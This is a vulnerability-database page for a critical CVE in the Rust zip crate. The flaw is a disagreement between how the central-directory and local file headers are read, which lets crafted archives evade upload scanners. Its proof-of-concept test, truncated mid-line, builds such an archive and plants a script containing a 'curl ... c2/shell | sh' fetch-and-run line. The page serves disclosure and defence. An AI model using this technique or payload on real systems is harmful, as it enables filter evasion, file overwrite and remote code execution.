CVE-2026-115905VulnerabilityPublished 28 Oct 2026

zip: Critical Parser Differential & Security Control Bypass via Dual-Header Inconsistencies (Zip Cloaking) Leading to

Affects zipSource GCVE Database

Authoritative record:CVE-2026-115905· Critical 10.0

Not known to be exploited · CVSS 10.0 Critical : upgrade to 9.0.5 as a priority.

Data as of 28 Oct 2026, 22:12 UTC

CVSS 4.0 base score

10.0Critical

How severe the flaw is on the 0–10 CVSS scale.

Patch: Available – fixed in 9.0.5

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L

Attack Vector: Network
Attack Complexity: Low
Attack Requirements: None
Privileges Required: None
User Interaction: None
Vulnerable system confidentiality: High
Vulnerable system integrity: High
Vulnerable system availability: High
Subsequent system confidentiality: High
Subsequent system integrity: High
Subsequent system availability: Low

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements: None: The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without interaction from any human user, other than the attacker.
Vulnerable system confidentiality: High: There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Vulnerable system integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the vulnerable system. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the vulnerable system.
Vulnerable system availability: High: There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent system confidentiality: High: There is a total loss of confidentiality, resulting in all resources within the Subsequent System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Subsequent system integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the Subsequent System. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the Subsequent System.
Subsequent system availability: Low: Performance is reduced or there are interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the Subsequent System are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the Subsequent System.

Definitions: FIRST CVSS v4.0 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 26 Oct 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade zip to 9.0.5.

Affected software

Product	Affected	Fixed in
crates.iozip	Affected <9.0.5	Fixed in 9.0.5

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Description

## Summary A critical architectural parser differential exists in the `zip` crate (`<= 9.0.4`) between random-access archive readers (`ZipArchive`) and streaming readers (`ZipStreamReader`). `ZipArchive` considers the Central Directory File Header (CDFH) authoritative and ignores the filename declared in the Local File Header (LFH). In contrast, `ZipStreamReader` relies exclusively on the Local File Header (LFH) when extracting files to the filesystem. This discrepancy enables ZIP archives to appear to have different file paths and contents according to which tool is reading them. --- ## Details ### Architectural Root Cause In the PKWARE ZIP archive format, every file entry is defined in two distinct locations: 1. **Local File Header (LFH):** Precedes the compressed payload of each file in the body of the archive. 2. **Central Directory File Header (CDFH):** Stored in a contiguous index at the end of the archive. In `zip2`: - `src/read/zip_archive.rs`: `ZipArchive` parses the central directory into `SharedBuilder.files`. All file lookups by index or name read exclusively from the CDFH table, completely ignoring the filename present in the LFH. - `src/read/stream.rs:L86-L141`: `ZipStreamReader::visit` and `ZipStreamReader::extract` read sequentially from the stream without verifying the central directory index. Each entry is parsed via `read_zipfile_from_stream` and written to disk using the unverified filename declared in the LFH: ```rust // src/read/stream.rs fn visit_file<R: Read>(&mut self, file: &mut ZipFile<'_, R>) -> ZipResult<()> { file.safe_prepare_path(&self.outpath, &mut outpath, None::<&(_, fn(&Path) -> bool)>)?; let mut outfile = fs::File::create(&outpath)?; io::copy(file, &mut outfile)?; Ok(()) } ``` - `src/write.rs:L1552`: The crate explicitly exposes `shallow_copy_file`, an API that constructs dual-header desynchronizations by adding a new CDFH entry with an alias name pointing to an existing file without updating the original LFH. ### Threat Scenario & Severity Justification (10.0 / 9.9 Critical) 1. **Security Control Evasion:** An adversary crafts a ZIP archive where: - Central Directory Header declares: `doc_report.pdf` (Clean document) - Local File Header declares: `cron_worker.sh` (Malicious root backdoor) 2. The archive is uploaded through a web portal or API endpoint protected by security gateways (WAF, Anti-Virus, Content Disarm & Reconstruction). The security gateway inspects the archive using `ZipArchive` (or similar CDFH-first parsers), detects only `doc_report.pdf`, and approves the file. 3. The backend worker or cloud function receives the approved archive and extracts it using `ZipStreamReader::extract`. `ZipStreamReader` reads the LFH and overwrites `cron_worker.sh`. 4. **Full Compromise (CIA = High):** The legitimate production health checker / service script is destroyed (**Availability = High / DoS**), while the attacker's backdoor payload is implanted (**Integrity = High / RCE**). --- ## Proof of Concept The following automated integration test reproducibly demonstrates the complete CVSS 10.0 / 9.9 exploit chain (Security Gateway Evasion -> Arbitrary File Overwrite -> RCE & DoS) against `zip2`: ```rust use std::fs; use std::io::{Cursor, Write}; use tempfile::tempdir; use zip::unstable::stream::ZipStreamReader; use zip::write::SimpleFileOptions; use zip::{ZipArchive, ZipWriter}; // Simulated Security Gateway (inspects CDFH via ZipArchive) fn security_gateway_inspection(archive_bytes: &[u8]) -> Result<(), String> { let mut archive = ZipArchive::new(Cursor::new(archive_bytes)).unwrap(); for i in 0..archive.len() { let name = archive.by_index(i).unwrap().name().unwrap().to_string(); if name.ends_with(".sh") || name.ends_with(".exe") { return Err(format!("MALWARE DETECTED: '{}' blocked!", name)); } if !name.ends_with(".pdf") { return Err("Policy violation: only PDFs allowed!".into()); } } Ok(()) } #[test] fn test_cvss_9_9_dual_header_exploit_chain() { // 1. Victim server setup: existing critical script let victim_env = tempdir().unwrap(); let victim_dir = victim_env.path(); let target_script = victim_dir.join("cron_worker.sh"); fs::write(&target_script, b"#!/bin/sh\n# PRODUCTION SERVICE\necho 'SERVICE HEALTHY'\n").unwrap(); // 2. Attacker crafts Single-Entry Dual-Header Archive // LFH: "cron_worker.sh" | CDFH: "doc_report.pdf" let mut payload = Cursor::new(Vec::new()); let mut writer = ZipWriter::new(&mut payload); writer.start_file("cron_worker.sh", SimpleFileOptions::default()).unwrap(); writer.write_all(b"#!/bin/sh\ncurl -s https://c2/shell | sh\necho 'PWNED ROOT'\n").unwrap(); writer.finish().unwrap(); let mut malicious_zip = payload.into_inner(); let cdh = malicious_zip.windows(4).position(|s| s == b"PK\x01\x02").unwrap(); malicious_zip[cdh + 46..cdh + 46 + 14].copy_from_slice(b"doc_r

CWE-20Improper Input Validation (opens in a new tab)
Class weaknessLikelihood of exploit: HighCWE Top 25 (2025): #18OWASP Top 10 A05:2025: Injection (opens in a new tab)
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
MITRE discourages mapping vulnerabilities to this broad entry; the root cause is usually a more specific weakness.
Architecture and Design · Attack Surface Reduction
Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of…
Architecture and Design · Libraries or Frameworks
Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).
Architecture and Design · Implementation · Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter the product, including but not limited to: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any…
OWASP Cheat Sheets
XML Security (opens in a new tab)
Mass Assignment (opens in a new tab)
Injection Prevention (opens in a new tab)
SQL Injection Prevention (opens in a new tab)
Injection Prevention in Java (opens in a new tab)
OWASP ASVS 4.0.3
V13.3.1 (opens in a new tab)
V5.1.4 (opens in a new tab)
V5.1.3 (opens in a new tab)
Attack patterns
Buffer Overflow via Environment Variables (opens in a new tab)
Server Side Include (SSI) Injection (opens in a new tab)
Cross Zone Scripting (opens in a new tab)
Command Line Execution through SQL Injection (opens in a new tab)
Object Relational Mapping Injection (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).
CWE-436Interpretation Conflict (opens in a new tab)
Class weaknessOWASP Top 10 A06:2025: Insecure Design (opens in a new tab)
Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state.
OWASP Cheat Sheets
REST Assessment (opens in a new tab)
REST Security (opens in a new tab)
Cross-Site Request Forgery Prevention (opens in a new tab)
Secure Design Principles (opens in a new tab)
OWASP ASVS 4.0.3
V13.2.5 (opens in a new tab)
Attack patterns
HTTP Request Splitting (opens in a new tab)
HTTP Response Smuggling (opens in a new tab)
HTTP Response Splitting (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

References

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Exploitation evidence

What to do

Affected software

Description

WeaknessesCWE-20, CWE-436

Technical details

References

Community reviews

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